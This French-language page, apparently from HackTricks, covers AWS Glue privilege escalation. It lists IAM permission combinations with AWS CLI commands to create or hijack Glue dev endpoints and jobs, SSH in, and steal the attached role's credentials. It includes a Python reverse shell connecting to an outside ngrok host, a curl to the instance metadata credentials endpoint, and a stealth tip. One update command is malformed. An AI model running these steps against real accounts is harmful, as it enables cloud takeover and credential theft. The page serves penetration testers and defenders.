# AWS - Glue Privesc

{{#include ../../../banners/hacktricks-training.md}}

## glue

### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

Les utilisateurs disposant de ces autorisations peuvent **configurer un nouveau point de terminaison de développement AWS Glue**, **en assignant un rôle de service existant pouvant être assumé par Glue** avec des autorisations spécifiques à ce point de terminaison.

Après la configuration, l'**attaquant peut se connecter en SSH à l'instance du point de terminaison**, et voler les identifiants IAM du rôle assigné :
```bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
Pour des raisons de discrétion, il est recommandé d'utiliser les identifiants IAM depuis l'intérieur de la machine virtuelle Glue.

**Impact potentiel :** Privesc au rôle de service Glue spécifié.

### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

Les utilisateurs ayant cette permission peuvent **modifier la clé SSH d'un** point de terminaison de développement Glue existant, **permettant l'accès SSH à celui-ci**. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :
```bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
**Impact potentiel :** Privesc au rôle de service glue utilisé.

### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)

Les utilisateurs avec **`iam:PassRole`** combiné avec soit **`glue:CreateJob` ou `glue:UpdateJob`**, et soit **`glue:StartJobRun` ou `glue:CreateTrigger`** peuvent **créer ou mettre à jour un job AWS Glue**, en attachant n'importe quel **compte de service Glue**, et initier l'exécution du job. Les capacités du job incluent l'exécution de code Python arbitraire, qui peut être exploité pour établir un shell inversé. Ce shell inversé peut ensuite être utilisé pour exfiltrer les **identifiants IAM** du rôle attaché au job Glue, conduisant à un accès ou des actions non autorisées basées sur les permissions de ce rôle :
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change
```
**Impact potentiel :** Privesc au rôle de service glue spécifié.

### `glue:UpdateJob`

Avec simplement la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché.

**Impact potentiel :** Privesc au rôle de service glue attaché.

## Références

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../banners/hacktricks-training.md}}
